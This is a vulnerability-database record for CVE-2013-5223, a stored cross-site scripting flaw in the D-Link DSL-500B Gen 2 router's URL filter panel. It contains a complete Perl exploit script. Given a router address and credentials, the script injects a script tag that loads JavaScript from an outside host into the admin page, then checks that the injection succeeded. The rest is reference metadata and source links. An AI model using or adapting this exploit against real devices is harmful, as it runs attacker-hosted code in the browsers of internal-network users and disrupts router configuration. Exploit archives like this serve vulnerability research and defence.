ID
VAR-E-201311-0047
CVE
| cve_id: | CVE-2013-5223 | Trust: 3.0 |
EDB ID
36988
TITLE
D-Link DSL-500B Gen 2 - URL Filter Configuration Panel Persistent Cross-Site Scripting - Hardware webapps Exploit
Trust: 0.6
DESCRIPTION
D-Link DSL-500B Gen 2 - URL Filter Configuration Panel Persistent Cross-Site Scripting. CVE-2013-5223CVE-99603 . webapps exploit for Hardware platform
Trust: 0.6
AFFECTED PRODUCTS
| vendor: | d link | model: | dsl-500b gen | scope: | eq | version: | 2 | Trust: 1.6 |
| vendor: | d link | model: | router 2760n | scope: | - | version: | - | Trust: 0.5 |
| vendor: | d link | model: | dsl-2760u-bn | scope: | eq | version: | 0 | Trust: 0.3 |
EXPLOIT
#!/usr/bin/perl
#
# Date dd-mm-aaaa: 13-02-2015
# Exploit for D-Link DSL-500B G2
# Cross Site Scripting (XSS Injection) Stored in todmngr.tod URL Filter
# Developed by Mauricio Corrêa
# XLabs Information Security
# WebSite: www.xlabs.com.br
#
# CAUTION!
# This exploit disables some features of the modem,
# forcing the administrator of the device, accessing the page to reconfigure the modem again,
# occurring script execution in the browser of internal network users.
#
# Use with caution!
# Use at your own risk!
#
use strict;
use warnings;
use diagnostics;
use LWP::UserAgent;
use HTTP::Request;
use URI::Escape;
my $ip = $ARGV[0];
my $user = $ARGV[1];
my $pass = $ARGV[2];
if (@ARGV != 3){
print "\n";
print "XLabs Information Security www.xlabs.com.br\n";
print "Exploit for POC D-Link DSL-500B G2 Stored XSS Injection in URL Filter\n";
print "Developed by Mauricio Correa\n";
print "Contact: mauricio\@xlabs.com.br\n";
print "Usage: perl $0 http:\/\/host_ip\/ user pass\n";
}else{
$ip = $1 if($ip=~/(.*)\/$/);
print "XLabs Information Security www.xlabs.com.br\n";
print "Exploit for POC D-Link DSL-500B G2 Stored XSS Injection in URL Filter\n";
print "Developed by Mauricio Correa\n";
print "Contact: mauricio\@xlabs.com.br\n";
print "[+] Exploring $ip\/ ...\n";
my $payload = "%3Cscript%20src%3D%27%2f%2fxlabs.com.br%2fxssi.js%27%3E%3C%2fscript%3E";
my $ua = new LWP::UserAgent;
my $hdrs = new HTTP::Headers( Accept => 'text/plain', UserAgent => "XLabs Security Exploit Browser/1.0" );
$hdrs->authorization_basic($user, $pass);
chomp($ip);
print "[+] Preparing exploit...\n";
my $url_and_xpl = "$ip/todmngr.tod?action=set_url&TodUrlAdd=GameOver$payload&port_num=1234";
my $req = new HTTP::Request("GET",$url_and_xpl,$hdrs);
print "[+] Prepared!\n";
print "[+] Requesting and Exploiting...\n";
my $resp = $ua->request($req);
if ($resp->is_success){
print "[+] Successfully Requested!\n";
my $url = "$ip/todmngr.tod?action=urlview";
$req = new HTTP::Request("GET",$url,$hdrs);
print "[+] Checking that was explored...\n";
my $resp2 = $ua->request($req);
if ($resp2->is_success){
my $resultado = $resp2->as_string;
if(index($resultado, uri_unescape($payload)) != -1){
print "[+] Successfully Exploited!";
}else{
print "[-] Not Exploited!";
}
}
}else {
print "[-] Ops!\n";
print $resp->message;
}
}
Trust: 1.0
EXPLOIT LANGUAGE
pl
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
URL Filter Configuration Panel Persistent Cross-Site Scripting
Trust: 1.0
TAGS
| tag: | exploit | Trust: 0.5 |
| tag: | vulnerability | Trust: 0.5 |
| tag: | xss | Trust: 0.5 |
CREDITS
XLabs Security
Trust: 0.6
EXTERNAL IDS
| db: | NVD | id: | CVE-2013-5223 | Trust: 3.0 |
| db: | EXPLOIT-DB | id: | 36988 | Trust: 1.6 |
| db: | EDBNET | id: | 58265 | Trust: 0.6 |
| db: | 0DAYTODAY | id: | 21502 | Trust: 0.6 |
| db: | EDBNET | id: | 21292 | Trust: 0.6 |
| db: | PACKETSTORM | id: | 123976 | Trust: 0.5 |
| db: | BID | id: | 63648 | Trust: 0.3 |
REFERENCES
| url: | https://nvd.nist.gov/vuln/detail/cve-2013-5223 | Trust: 2.7 |
| url: | https://www.exploit-db.com/exploits/36988/ | Trust: 0.6 |
| url: | https://0day.today/exploits/21502 | Trust: 0.6 |
| url: | http://seclists.org/fulldisclosure/2013/nov/76 | Trust: 0.3 |
| url: | http://www.dlink.com.tr/en/arts/117.html | Trust: 0.3 |
SOURCES
| db: | BID | id: | 63648 |
| db: | PACKETSTORM | id: | 123976 |
| db: | EXPLOIT-DB | id: | 36988 |
| db: | EDBNET | id: | 58265 |
| db: | EDBNET | id: | 21292 |
LAST UPDATE DATE
2022-07-27T09:49:46.281000+00:00
SOURCES UPDATE DATE
| db: | BID | id: | 63648 | date: | 2013-11-10T00:00:00 |
SOURCES RELEASE DATE
| db: | BID | id: | 63648 | date: | 2013-11-10T00:00:00 |
| db: | PACKETSTORM | id: | 123976 | date: | 2013-11-11T23:46:32 |
| db: | EXPLOIT-DB | id: | 36988 | date: | 2015-05-11T00:00:00 |
| db: | EDBNET | id: | 58265 | date: | 2015-05-11T00:00:00 |
| db: | EDBNET | id: | 21292 | date: | 2013-11-12T00:00:00 |